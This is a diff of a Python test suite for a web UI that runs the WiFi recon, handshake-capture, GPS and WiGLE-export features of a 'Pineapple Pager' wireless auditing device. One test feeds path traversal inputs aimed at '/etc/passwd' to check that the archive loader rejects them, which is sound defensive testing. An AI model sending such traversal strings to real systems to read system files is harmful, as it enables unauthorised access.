self.assertIn('scan_time', data['error'])
|
||||
self.assertEqual(calls, [])
|
||||
|
||||
def test_start_reports_native_failure(self):
|
||||
server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
|
||||
server.daemon_sock_call = lambda m, p, body=None: (500, {'error': 'no radio'})
|
||||
status, data = server.h_recon_start(
|
||||
type('C', (), {'args': (), 'body': {'scan_time': 30}})())
|
||||
self.assertEqual(status, 502)
|
||||
self.assertEqual(data['error'], 'native recon scan failed')
|
||||
self.assertEqual(data['detail'], {'error': 'no radio'})
|
||||
self.assertFalse(server._recon_scan_state['active'])
|
||||
|
||||
|
||||
class ReconScanStateTest(unittest.TestCase):
|
||||
"""The daemon ignores scan_time and scans continuously until 'stop'. The webui
|
||||
must track the requested duration itself so timed scans actually end and the
|
||||
toggle can reflect real scan state."""
|
||||
"""The webui mirrors the duration of the Pager's native timed scan."""
|
||||
|
||||
def setUp(self):
|
||||
self.db = make_db()
|
||||
@@ -248,26 +273,33 @@ class ReconScanStateTest(unittest.TestCase):
|
||||
self.assertFalse(data['scanning'])
|
||||
self.assertEqual(data['scan_remaining'], 0)
|
||||
|
||||
def test_continuous_scan_has_no_remaining(self):
|
||||
def test_zero_duration_is_rejected(self):
|
||||
server.time.time = lambda: 1000.0
|
||||
self._start(scan_time=0)
|
||||
status, data = self._status()
|
||||
self.assertTrue(data['scanning'])
|
||||
self.assertIsNone(data['scan_remaining'])
|
||||
status, data = self._start(scan_time=0)
|
||||
self.assertEqual(status, 400)
|
||||
self.assertFalse(server._recon_scan_state['active'])
|
||||
|
||||
def test_default_start_is_continuous(self):
|
||||
def test_default_start_uses_thirty_seconds(self):
|
||||
server.time.time = lambda: 1000.0
|
||||
self._start()
|
||||
status, data = self._status()
|
||||
self.assertTrue(data['scanning'])
|
||||
self.assertIsNone(data['scan_remaining'])
|
||||
self.assertEqual(data['scan_remaining'], 30)
|
||||
|
||||
def test_stop_clears_scanning(self):
|
||||
def test_stop_rejects_active_native_scan(self):
|
||||
server.time.time = lambda: 1000.0
|
||||
self._start(scan_time=30)
|
||||
self._stop()
|
||||
status, data = self._stop()
|
||||
self.assertEqual(status, 409)
|
||||
self.assertIn('finish automatically', data['error'])
|
||||
self.assertEqual(data['scan_remaining'], 30)
|
||||
status, data = self._status()
|
||||
self.assertFalse(data['scanning'])
|
||||
self.assertTrue(data['scanning'])
|
||||
|
||||
def test_stop_is_idempotent_when_inactive(self):
|
||||
status, data = self._stop()
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data, {'ok': True})
|
||||
|
||||
def test_start_failure_does_not_mark_scanning(self):
|
||||
server.time.time = lambda: 1000.0
|
||||
@@ -276,14 +308,27 @@ class ReconScanStateTest(unittest.TestCase):
|
||||
status, data = self._status()
|
||||
self.assertFalse(data['scanning'])
|
||||
|
||||
def test_watchdog_stops_expired_timed_scan(self):
|
||||
def test_start_while_scanning_returns_409_without_restart(self):
|
||||
server.time.time = lambda: 1000.0
|
||||
self._start(scan_time=30)
|
||||
calls = []
|
||||
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p)) or (200, {'success': True})
|
||||
status, data = server.h_recon_start(
|
||||
type('C', (), {'args': (), 'body': {'scan_time': 30}})())
|
||||
self.assertEqual(status, 409)
|
||||
self.assertEqual(data['scan_remaining'], 30)
|
||||
self.assertEqual(calls, [])
|
||||
status, data = self._status()
|
||||
self.assertTrue(data['scanning'])
|
||||
|
||||
def test_watchdog_stops_expired_timed_scan(self):
|
||||
server.time.time = lambda: 1000.0
|
||||
self._start(scan_time=10)
|
||||
server.time.time = lambda: 1012.0
|
||||
calls = []
|
||||
server.daemon_sock_call = lambda m, p, body=None: calls.append((m, p)) or (200, {'success': True})
|
||||
server._recon_watchdog_tick()
|
||||
self.assertEqual(calls, [('POST', '/api/pineap/log/recon/stop')])
|
||||
self.assertEqual(calls, [])
|
||||
self.assertFalse(server._recon_scan_state['active'])
|
||||
|
||||
def test_watchdog_leaves_active_scan_alone(self):
|
||||
@@ -316,6 +361,25 @@ class ReconExtrasTest(unittest.TestCase):
|
||||
status, data = server.h_recon_status(type('C', (), {'args': ()})())
|
||||
self.assertFalse(data['active'])
|
||||
|
||||
def test_status_includes_hopper_and_history_flags(self):
|
||||
with mock.patch.object(server, '_hopper_online', return_value=False), \
|
||||
mock.patch.object(server, '_recon_history_reset', return_value=True):
|
||||
status, data = server.h_recon_status(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertFalse(data['hopper_online'])
|
||||
self.assertTrue(data['history_reset'])
|
||||
|
||||
def test_hopper_online_cached(self):
|
||||
server._hopper_cache.update({'updated': 0, 'online': None})
|
||||
with mock.patch.object(server, 'wifi_ifaces',
|
||||
return_value=['wlan0mon', 'wlan1mon', 'wlan2mon']):
|
||||
self.assertTrue(server._hopper_online())
|
||||
# Second call within the cache window must not re-run iwinfo.
|
||||
with mock.patch.object(server, 'wifi_ifaces',
|
||||
side_effect=AssertionError('cached, must not call iwinfo')):
|
||||
self.assertTrue(server._hopper_online())
|
||||
server._hopper_cache['updated'] = 0 # let other tests start fresh
|
||||
|
||||
def test_delete_cascades(self):
|
||||
server.recon_delete_scan(1)
|
||||
rows = server._db_rows(self.db, 'SELECT count(*) AS c FROM wifi_device')
|
||||
@@ -331,6 +395,15 @@ class ReconExtrasTest(unittest.TestCase):
|
||||
status, data = server.h_recon_delete(type('C', (), {'args': ('999',)})())
|
||||
self.assertEqual(status, 404)
|
||||
|
||||
def test_delete_all_clears_every_scan(self):
|
||||
status, data = server.h_recon_delete_all(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data['deleted'], 2)
|
||||
for table in ('scan', 'ssid', 'wifi_device', 'handshake',
|
||||
'hostap_basic', 'hostap_chalresp'):
|
||||
rows = server._db_rows(self.db, 'SELECT count(*) AS c FROM %s' % table)
|
||||
self.assertEqual(rows[0]['c'], 0, table)
|
||||
|
||||
def test_events_lists_db_rows(self):
|
||||
status, data = server.h_recon_events(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
@@ -454,6 +527,21 @@ class CliFallbackTest(unittest.TestCase):
|
||||
server.RECON_DB = '/nonexistent.db'
|
||||
self.assertEqual(server.decode_ssid('casaalicia\\x00.\\xde_'), 'casaalicia\x00.\ufffd_')
|
||||
|
||||
def test_completed_recon_lock_uses_immutable_read(self):
|
||||
calls = []
|
||||
server._recon_scan_state = {'active': False, 'started': 0, 'duration': 0}
|
||||
|
||||
def locked_then_read(args, timeout=20):
|
||||
calls.append(args)
|
||||
if len(calls) == 1:
|
||||
return 5, '', 'Error: database is locked'
|
||||
return 0, '[{"id": 2}]', ''
|
||||
|
||||
server.device_run = locked_then_read
|
||||
rows = server._db_rows(self.db, 'SELECT MAX(id) AS id FROM scan')
|
||||
self.assertEqual(rows, [{'id': 2}])
|
||||
self.assertEqual(calls[1][-2], 'file:%s?immutable=1' % self.db)
|
||||
|
||||
|
||||
def make_hs_db():
|
||||
db = make_db()
|
||||
@@ -597,3 +685,525 @@ class HandshakeRoutesTest(unittest.TestCase):
|
||||
self.assertEqual(data['files'], [])
|
||||
self.assertEqual(data['handshakes'], [])
|
||||
self.assertEqual(os.listdir(self.dir), ['.hidden'])
|
||||
|
||||
|
||||
class OuiVendorTest(unittest.TestCase):
|
||||
def test_oui_prefix_forms(self):
|
||||
self.assertEqual(server._oui_prefix('C8:9E:43:64:80:80'), 'C89E43')
|
||||
self.assertEqual(server._oui_prefix('C89E43648080'), 'C89E43')
|
||||
self.assertEqual(server._oui_prefix('c8:9e:43:64:80:80'), 'C89E43')
|
||||
self.assertIsNone(server._oui_prefix(None))
|
||||
self.assertIsNone(server._oui_prefix(''))
|
||||
self.assertIsNone(server._oui_prefix('XX:YY:ZZ:00:00:00'))
|
||||
|
||||
def test_oui_vendor_lookup(self):
|
||||
self.assertEqual(server.oui_vendor('B8:27:EB:00:00:00'), 'Raspberry Pi')
|
||||
self.assertEqual(server.oui_vendor('10:BF:48:00:00:00'), 'Apple')
|
||||
self.assertEqual(server.oui_vendor('14:CC:20:00:00:00'), 'TP-Link')
|
||||
self.assertEqual(server.oui_vendor('FC:63:3E:00:00:00'), 'Google')
|
||||
|
||||
def test_oui_vendor_unknown_and_local(self):
|
||||
self.assertEqual(server.oui_vendor('C8:9E:43:64:80:80'), 'Unknown')
|
||||
self.assertEqual(server.oui_vendor('AE:77:C0:EB:31:41'), 'Local')
|
||||
self.assertEqual(server.oui_vendor(None), 'Unknown')
|
||||
self.assertEqual(server.oui_vendor('--'), 'Unknown')
|
||||
|
||||
def test_band_of_frequencies(self):
|
||||
self.assertEqual(server.band_of(2412), '2.4')
|
||||
self.assertEqual(server.band_of(5200), '5')
|
||||
self.assertEqual(server.band_of(6180), '6')
|
||||
self.assertEqual(server.band_of(0), '--')
|
||||
self.assertEqual(server.band_of(None), '--')
|
||||
|
||||
def test_curated_table_has_no_garbage_keys(self):
|
||||
for key in server.OUI_VENDORS:
|
||||
self.assertRegex(key, r'^[0-9A-F]{6}$')
|
||||
self.assertNotIn('349A...', server.OUI_VENDORS)
|
||||
|
||||
|
||||
class ReconEnrichmentTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.db = make_db()
|
||||
server.RECON_DB = self.db
|
||||
|
||||
def tearDown(self):
|
||||
os.unlink(self.db)
|
||||
|
||||
def test_scan_detail_enriches_aps(self):
|
||||
data = server.recon_scan_data(1)
|
||||
aps = {a['bssid']: a for a in data['aps']}
|
||||
a = aps['C8:9E:43:64:80:80']
|
||||
self.assertEqual(a['band'], '5')
|
||||
self.assertEqual(a['vendor'], 'Unknown')
|
||||
self.assertEqual(a['first_seen'], 1786466532)
|
||||
self.assertEqual(a['last_seen'], 1786466532)
|
||||
hidden = aps['50:6F:9A:01:00:00']
|
||||
self.assertEqual(hidden['band'], '5')
|
||||
self.assertEqual(hidden['vendor'], 'Unknown')
|
||||
|
||||
def test_scan_detail_unassociated_count(self):
|
||||
data = server.recon_scan_data(1)
|
||||
self.assertEqual(data['unassociated'], 1)
|
||||
|
||||
def test_scan_detail_bounded_mode_counts_unassociated(self):
|
||||
data = server.recon_scan_data(1, _limit=1)
|
||||
self.assertEqual(data['unassociated'], 1)
|
||||
self.assertEqual(len(data['aps']), 2)
|
||||
self.assertLessEqual(len(data['clients']), 1)
|
||||
self.assertEqual(data['scan']['id'], 1)
|
||||
|
||||
def test_first_last_seen_span_multiple_rows(self):
|
||||
conn = sqlite3.connect(self.db)
|
||||
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden, time, signal, freq, channel, encryption) "
|
||||
"VALUES (30, 2, 1, 8, 'C89E43648080', X'416E646572736F6E2D35', 0, 1786466540, -80, 5745, 149, 0x400400108)")
|
||||
conn.commit()
|
||||
conn.close()
|
||||
data = server.recon_scan_data(1)
|
||||
a = [a for a in data['aps'] if a['bssid'] == 'C8:9E:43:64:80:80'][0]
|
||||
self.assertEqual(a['first_seen'], 1786466532)
|
||||
self.assertEqual(a['last_seen'], 1786466540)
|
||||
|
||||
def test_band_for_24ghz_ap(self):
|
||||
conn = sqlite3.connect(self.db)
|
||||
conn.execute("INSERT INTO wifi_device (hash, scan, mac, time, signal, freq, packets) VALUES (3, 1, 'FC633E000001', 1786466533, -60, 2412, 4)")
|
||||
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden, time, signal, freq, channel, encryption) "
|
||||
"VALUES (31, 3, 1, 8, 'FC633E000001', X'4E6574776F726B', 0, 1786466533, -60, 2412, 6, 0x08)")
|
||||
conn.commit()
|
||||
conn.close()
|
||||
data = server.recon_scan_data(1)
|
||||
a = [a for a in data['aps'] if a['bssid'] == 'FC:63:3E:00:00:01'][0]
|
||||
self.assertEqual(a['band'], '2.4')
|
||||
self.assertEqual(a['vendor'], 'Google')
|
||||
|
||||
def test_scan_detail_handler_is_bounded_and_retried(self):
|
||||
seen = {}
|
||||
orig = server.recon_scan_data
|
||||
def fake(scan_id, _timeout=20, _limit=None, db=None):
|
||||
seen['limit'] = _limit
|
||||
seen['db'] = db
|
||||
return orig(scan_id, _timeout=_timeout, _limit=_limit, db=db)
|
||||
with mock.patch.object(server, 'recon_scan_data', side_effect=fake), \
|
||||
mock.patch.object(server.time, 'sleep'):
|
||||
status, data = server.h_recon_scan_detail(type('C', (), {'args': ('1',)})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(seen['limit'], 300)
|
||||
# The live handler relies on the default, which resolves to RECON_DB.
|
||||
self.assertIsNone(seen['db'])
|
||||
self.assertEqual(data['scan']['id'], 1)
|
||||
|
||||
def test_scan_detail_handler_503_on_lock(self):
|
||||
with mock.patch.object(server, 'recon_scan_data',
|
||||
side_effect=RuntimeError('sqlite read failed: locked')), \
|
||||
mock.patch.object(server.time, 'sleep'):
|
||||
status, data = server.h_recon_scan_detail(type('C', (), {'args': ('1',)})())
|
||||
self.assertEqual(status, 503)
|
||||
self.assertIn('temporarily unavailable', data['error'])
|
||||
|
||||
|
||||
class ReconReportTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.db = make_db()
|
||||
server.RECON_DB = self.db
|
||||
|
||||
def tearDown(self):
|
||||
os.unlink(self.db)
|
||||
|
||||
def _ctx(self, args=()):
|
||||
return type('C', (), {'args': args, 'body': {}})()
|
||||
|
||||
def test_csv_download_contains_aps_and_unassociated(self):
|
||||
status, payload = server.h_recon_scan_download_csv(self._ctx(('1',)))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload.ctype, 'text/csv')
|
||||
self.assertEqual(payload.filename, 'scan-1.csv')
|
||||
text = payload.data.decode('utf-8')
|
||||
self.assertIn('Anderson-5', text)
|
||||
self.assertIn('unassociated,1', text)
|
||||
self.assertIn('C8:9E:43:64:80:80', text)
|
||||
|
||||
def test_html_download_contains_stats(self):
|
||||
with mock.patch.object(server, '_gps_status_data', return_value={'lock': False}):
|
||||
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload.ctype, 'text/html')
|
||||
self.assertEqual(payload.filename, 'scan-1.html')
|
||||
text = payload.data.decode('utf-8')
|
||||
self.assertIn('Scan #1', text)
|
||||
self.assertIn('Anderson-5', text)
|
||||
self.assertIn('WPA3 WPA2', text)
|
||||
# stat cards
|
||||
self.assertIn('stat-card', text)
|
||||
self.assertIn('Unassociated', text)
|
||||
# band + encryption breakdowns
|
||||
self.assertIn('Band Breakdown', text)
|
||||
self.assertIn('Encryption Breakdown', text)
|
||||
self.assertIn('WPA2', text)
|
||||
# channel occupancy table
|
||||
self.assertIn('Channel Occupancy', text)
|
||||
self.assertIn('5 GHz', text)
|
||||
self.assertIn('>149<', text)
|
||||
# color-coded signal cells
|
||||
self.assertIn('sig-weak', text)
|
||||
self.assertIn('sig-good', text)
|
||||
self.assertIn('-76 dBm', text)
|
||||
# no GPS line without a fix
|
||||
self.assertNotIn('GPS:', text)
|
||||
|
||||
def test_html_report_includes_gps_when_locked(self):
|
||||
with mock.patch.object(server, '_gps_status_data',
|
||||
return_value={'lock': True, 'lat': 37.7,
|
||||
'lon': -122.4, 'satellites': 8}):
|
||||
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
|
||||
text = payload.data.decode('utf-8')
|
||||
self.assertIn('GPS: 37.70000, -122.40000', text)
|
||||
self.assertIn('8 sats', text)
|
||||
|
||||
def test_download_404_for_missing_scan(self):
|
||||
status, payload = server.h_recon_scan_download_csv(self._ctx(('999',)))
|
||||
self.assertEqual(status, 404)
|
||||
status, payload = server.h_recon_scan_download_html(self._ctx(('999',)))
|
||||
self.assertEqual(status, 404)
|
||||
|
||||
def test_download_503_when_db_unavailable(self):
|
||||
with mock.patch.object(server, 'recon_scan_data',
|
||||
side_effect=RuntimeError('sqlite read failed: locked')), \
|
||||
mock.patch.object(server.time, 'sleep'):
|
||||
status, payload = server.h_recon_scan_download_csv(self._ctx(('1',)))
|
||||
self.assertEqual(status, 503)
|
||||
status, payload = server.h_recon_scan_download_html(self._ctx(('1',)))
|
||||
self.assertEqual(status, 503)
|
||||
|
||||
|
||||
class ReconArchivesTest(unittest.TestCase):
|
||||
"""Read-only history from pineapd-rotated databases (error-*-recon.db)."""
|
||||
|
||||
def setUp(self):
|
||||
self.dir = tempfile.mkdtemp()
|
||||
self.addCleanup(shutil.rmtree, self.dir)
|
||||
self.archive_name = 'error-2026-08-18-19:21:42Z-recon.db'
|
||||
tmp = make_db()
|
||||
self.addCleanup(os.unlink, tmp)
|
||||
server.RECON_DB = os.path.join(self.dir, 'recon.db')
|
||||
shutil.copy(tmp, server.RECON_DB)
|
||||
archive = os.path.join(self.dir, self.archive_name)
|
||||
shutil.copy(tmp, archive)
|
||||
conn = sqlite3.connect(archive)
|
||||
conn.execute("INSERT INTO scan (uuid, time, name) VALUES ('u3', 1786467000, 'pager')")
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
def tearDown(self):
|
||||
server._recon_archives_cache.update({'dir': None, 'updated': 0, 'data': None})
|
||||
|
||||
def _ctx(self, args=()):
|
||||
return type('C', (), {'args': args, 'body': {}})()
|
||||
|
||||
def test_archives_list_finds_rotated_db(self):
|
||||
data = server.recon_archives_data()
|
||||
self.assertEqual(len(data['archives']), 1)
|
||||
a = data['archives'][0]
|
||||
self.assertEqual(a['id'], self.archive_name)
|
||||
self.assertEqual(a['min_id'], 1)
|
||||
self.assertEqual(a['max_id'], 3)
|
||||
self.assertEqual(a['scans_count'], 3)
|
||||
self.assertEqual([s['id'] for s in a['scans']], [3, 2, 1])
|
||||
|
||||
def test_archives_list_is_cached_per_directory(self):
|
||||
orig = server.recon_scans_data
|
||||
calls = []
|
||||
def fake(limit=50, _timeout=20, db=None):
|
||||
calls.append(db)
|
||||
return orig(limit=limit, _timeout=_timeout, db=db)
|
||||
with mock.patch.object(server, 'recon_scans_data', side_effect=fake):
|
||||
server.recon_archives_data()
|
||||
server.recon_archives_data()
|
||||
# Second call within the cache window must not re-scan the archives.
|
||||
self.assertEqual(len(calls), 1)
|
||||
self.assertTrue(calls[0].endswith(self.archive_name))
|
||||
|
||||
def test_archive_path_rejects_traversal(self):
|
||||
self.assertIsNone(server._recon_archive_path('..%2F..%2Fetc%2Fpasswd'))
|
||||
self.assertIsNone(server._recon_archive_path('../etc/passwd'))
|
||||
self.assertIsNone(server._recon_archive_path('error-x-recon.db/../evil'))
|
||||
self.assertIsNone(server._recon_archive_path('random.db'))
|
||||
self.assertIsNone(server._recon_archive_path(''))
|
||||
self.assertIsNotNone(server._recon_archive_path(self.archive_name))
|
||||
|
||||
def test_archive_scan_detail_reads_archive_not_live(self):
|
||||
status, data = server.h_recon_archive_scan_detail(
|
||||
self._ctx((self.archive_name, '3')))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data['scan']['id'], 3)
|
||||
# The live db has no scan 3; the archive must be the source.
|
||||
self.assertIsNone(server.recon_scan_data(3))
|
||||
|
||||
def test_archive_scan_detail_is_bounded(self):
|
||||
seen = {}
|
||||
orig = server.recon_scan_data
|
||||
def fake(scan_id, _timeout=20, _limit=None, db=None):
|
||||
seen.update({'limit': _limit, 'db': db})
|
||||
return orig(scan_id, _timeout=_timeout, _limit=_limit, db=db)
|
||||
with mock.patch.object(server, 'recon_scan_data', side_effect=fake), \
|
||||
mock.patch.object(server.time, 'sleep'):
|
||||
status, data = server.h_recon_archive_scan_detail(
|
||||
self._ctx((self.archive_name, '1')))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(seen['limit'], 300)
|
||||
self.assertTrue(seen['db'].endswith(self.archive_name))
|
||||
|
||||
def test_archive_scans_list(self):
|
||||
status, data = server.h_recon_archive_scans(self._ctx((self.archive_name,)))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual([s['id'] for s in data['scans']], [3, 2, 1])
|
||||
|
||||
def test_archive_handlers_404_for_missing(self):
|
||||
status, data = server.h_recon_archive_scans(self._ctx(('nope.db',)))
|
||||
self.assertEqual(status, 404)
|
||||
status, data = server.h_recon_archive_scan_detail(self._ctx(('nope.db', '1')))
|
||||
self.assertEqual(status, 404)
|
||||
status, data = server.h_recon_archive_scan_detail(
|
||||
self._ctx((self.archive_name, '999')))
|
||||
self.assertEqual(status, 404)
|
||||
|
||||
def test_archive_downloads(self):
|
||||
status, payload = server.h_recon_archive_scan_download(
|
||||
self._ctx((self.archive_name, '1')))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload.filename, 'scan-1.json')
|
||||
self.assertIn(b'Anderson-5', payload.data)
|
||||
status, payload = server.h_recon_archive_scan_download_csv(
|
||||
self._ctx((self.archive_name, '1')))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload.ctype, 'text/csv')
|
||||
self.assertIn(b'C8:9E:43:64:80:80', payload.data)
|
||||
status, payload = server.h_recon_archive_scan_download_html(
|
||||
self._ctx((self.archive_name, '1')))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload.ctype, 'text/html')
|
||||
text = payload.data.decode('utf-8')
|
||||
self.assertIn('archived history', text)
|
||||
self.assertIn('Anderson-5', text)
|
||||
|
||||
def test_archive_html_omits_current_gps(self):
|
||||
# An archive is historical; attaching a current fix would mislead.
|
||||
with mock.patch.object(server, '_gps_status_data',
|
||||
return_value={'lock': True, 'lat': 37.7, 'lon': -122.4}):
|
||||
status, payload = server.h_recon_archive_scan_download_html(
|
||||
self._ctx((self.archive_name, '1')))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertNotIn('GPS:', payload.data.decode('utf-8'))
|
||||
|
||||
def test_archive_detail_503_on_lock(self):
|
||||
with mock.patch.object(server, 'recon_scan_data',
|
||||
side_effect=RuntimeError('sqlite read failed: locked')), \
|
||||
mock.patch.object(server.time, 'sleep'):
|
||||
status, data = server.h_recon_archive_scan_detail(
|
||||
self._ctx((self.archive_name, '1')))
|
||||
self.assertEqual(status, 503)
|
||||
self.assertIn('temporarily unavailable', data['error'])
|
||||
|
||||
|
||||
class GpsTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
server._gps_cache.update({'updated': 0, 'data': None})
|
||||
|
||||
@unittest.skipIf(os.name == 'nt', 'symlinks are not reliably available on Windows')
|
||||
def test_serial_candidates_detect_bypath_targets(self):
|
||||
d = tempfile.mkdtemp()
|
||||
self.addCleanup(shutil.rmtree, d)
|
||||
self.addCleanup(setattr, server, 'SERIAL_DIR', server.SERIAL_DIR)
|
||||
server.SERIAL_DIR = d
|
||||
os.symlink('/dev/ttyACM0', os.path.join(d, '1.3_1-1.3:1.0'))
|
||||
os.symlink('/dev/ttyACM1', os.path.join(d, '1.3_1-1.3:1.2'))
|
||||
with open(os.path.join(d, 'not-a-serial'), 'w') as f:
|
||||
f.write('x')
|
||||
candidates = server._gps_serial_candidates()
|
||||
names = [name for name, _ in candidates]
|
||||
self.assertEqual(names, ['1.3_1-1.3:1.0', '1.3_1-1.3:1.2'])
|
||||
|
||||
def test_gps_status_passthrough(self):
|
||||
with mock.patch.object(server, '_gps_status_data_nocache',
|
||||
return_value={'present': True, 'wigle': True}):
|
||||
status, data = server.h_recon_gps(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(data['present'])
|
||||
self.assertTrue(data['wigle'])
|
||||
|
||||
def test_gps_status_skips_hak5cmd_when_gpsd_down(self):
|
||||
# GPS_GET can block for seconds when gpsd is down; it must not run.
|
||||
with mock.patch.object(server, '_uci_gps_get', return_value=None), \
|
||||
mock.patch.object(server, '_gps_serial_candidates', return_value=[]), \
|
||||
mock.patch.object(server, '_wigle_config', return_value={'logwigle': False}), \
|
||||
mock.patch.object(server, '_gpsd_running', return_value=False), \
|
||||
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
|
||||
mock.patch.object(server, '_gps_from_hak5cmd',
|
||||
side_effect=AssertionError('GPS_GET must not run when gpsd is down')) as hak5:
|
||||
data = server._gps_status_data_nocache()
|
||||
self.assertFalse(data['gpsd_running'])
|
||||
hak5.assert_not_called()
|
||||
|
||||
def test_gps_status_falls_back_to_hak5cmd_when_gpsd_up(self):
|
||||
with mock.patch.object(server, '_uci_gps_get', return_value=None), \
|
||||
mock.patch.object(server, '_gps_serial_candidates', return_value=[]), \
|
||||
mock.patch.object(server, '_wigle_config', return_value={'logwigle': False}), \
|
||||
mock.patch.object(server, '_gpsd_running', return_value=True), \
|
||||
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
|
||||
mock.patch.object(server, '_gps_from_hak5cmd',
|
||||
return_value={'fix': 3, 'lat': 37.7, 'lon': -122.4, 'satellites': 8}):
|
||||
data = server._gps_status_data_nocache()
|
||||
self.assertEqual(data['lat'], 37.7)
|
||||
self.assertEqual(data['satellites'], 8)
|
||||
|
||||
def test_configure_binds_preferred_device_and_locks(self):
|
||||
candidates = [('1.2_1-1.2:1.0', '/dev/1.2'), ('1.3_2-1.3:1.0', '/dev/1.3')]
|
||||
with mock.patch.object(server, '_gps_serial_candidates', return_value=candidates), \
|
||||
mock.patch.object(server, '_uci_gps_get', return_value='1.3_2-1.3:1.0'), \
|
||||
mock.patch.object(server, '_uci_gps_set') as uci_set, \
|
||||
mock.patch.object(server, '_gpsd_restart'), \
|
||||
mock.patch.object(server, 'time', mock.Mock(sleep=lambda s: None)), \
|
||||
mock.patch.object(server, '_gps_from_gpspipe',
|
||||
return_value={'fix': 3, 'lat': 37.7, 'lon': -122.4, 'satellites': 8}), \
|
||||
mock.patch.object(server, '_gps_status_data_nocache', return_value={'present': True}):
|
||||
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(data['lock'])
|
||||
self.assertEqual(data['tried'], ['1.3_2-1.3:1.0'])
|
||||
uci_set.assert_called_once_with('1.3_2-1.3:1.0')
|
||||
|
||||
def test_configure_no_candidates_errors(self):
|
||||
with mock.patch.object(server, '_gps_serial_candidates', return_value=[]):
|
||||
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn('error', data)
|
||||
|
||||
def test_configure_fallback_binds_first_with_note(self):
|
||||
candidates = [('1.2_1-1.2:1.0', '/dev/1.2'), ('1.3_2-1.3:1.0', '/dev/1.3')]
|
||||
with mock.patch.object(server, '_gps_serial_candidates', return_value=candidates), \
|
||||
mock.patch.object(server, '_uci_gps_get', return_value=None), \
|
||||
mock.patch.object(server, '_uci_gps_set'), \
|
||||
mock.patch.object(server, '_gpsd_restart'), \
|
||||
mock.patch.object(server, 'time', mock.Mock(sleep=lambda s: None)), \
|
||||
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
|
||||
mock.patch.object(server, '_gps_status_data_nocache', return_value={'present': True}):
|
||||
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data['device'], '1.2_1-1.2:1.0')
|
||||
self.assertIn('waiting for a fix', data['note'])
|
||||
|
||||
def test_configure_tries_at_most_three_candidates(self):
|
||||
candidates = [(str(i), '/dev/%d' % i) for i in range(5)]
|
||||
with mock.patch.object(server, '_gps_serial_candidates', return_value=candidates), \
|
||||
mock.patch.object(server, '_uci_gps_get', return_value=None), \
|
||||
mock.patch.object(server, '_uci_gps_set'), \
|
||||
mock.patch.object(server, '_gpsd_restart'), \
|
||||
mock.patch.object(server, 'time', mock.Mock(sleep=lambda s: None)), \
|
||||
mock.patch.object(server, '_gps_from_gpspipe', return_value=None), \
|
||||
mock.patch.object(server, '_gps_status_data_nocache', return_value={'present': True}):
|
||||
status, data = server.h_recon_gps_configure(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data['tried'], ['0', '1', '2'])
|
||||
|
||||
|
||||
class WigleTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.dir = tempfile.mkdtemp()
|
||||
self._orig = server.WIGLE_DIR
|
||||
server.WIGLE_DIR = self.dir
|
||||
|
||||
def tearDown(self):
|
||||
server.WIGLE_DIR = self._orig
|
||||
shutil.rmtree(self.dir)
|
||||
|
||||
def _ctx(self, args=(), body=None):
|
||||
return type('C', (), {'args': args, 'body': body or {}})()
|
||||
|
||||
def _write(self, name, content):
|
||||
with open(os.path.join(self.dir, name), 'w') as f:
|
||||
f.write(content)
|
||||
|
||||
def test_file_rows_count_excludes_header(self):
|
||||
self._write('a.csv', 'header\nr1\nr2\n')
|
||||
self._write('b.csv', 'onlyheader\n')
|
||||
status, data = server.h_recon_wigle_files(self._ctx())
|
||||
self.assertEqual(status, 200)
|
||||
files = {f['name']: f for f in data['files']}
|
||||
self.assertEqual(files['a.csv']['rows'], 2)
|
||||
self.assertEqual(files['b.csv']['rows'], 0)
|
||||
self.assertEqual(files['a.csv']['size'], len('header\nr1\nr2\n'))
|
||||
|
||||
def test_file_rows_count_ignores_wigle_meta_and_header(self):
|
||||
meta = 'WigleWifi-1.6,appRelease=0.0.0,model=pineapplepager,release=0.0.0\n'
|
||||
header = 'MAC,SSID,AuthMode,FirstSeen,Channel,Frequency,RSSI,CurrentLatitude,CurrentLongitude\n'
|
||||
self._write('empty.csv', meta + header)
|
||||
self._write('full.csv', meta + header + 'AA:BB:CC:DD:EE:FF,test,0,,1,2412,-60,37.7,-122.4\n')
|
||||
status, data = server.h_recon_wigle_files(self._ctx())
|
||||
files = {f['name']: f for f in data['files']}
|
||||
self.assertEqual(files['empty.csv']['rows'], 0)
|
||||
self.assertEqual(files['full.csv']['rows'], 1)
|
||||
|
||||
def test_file_download(self):
|
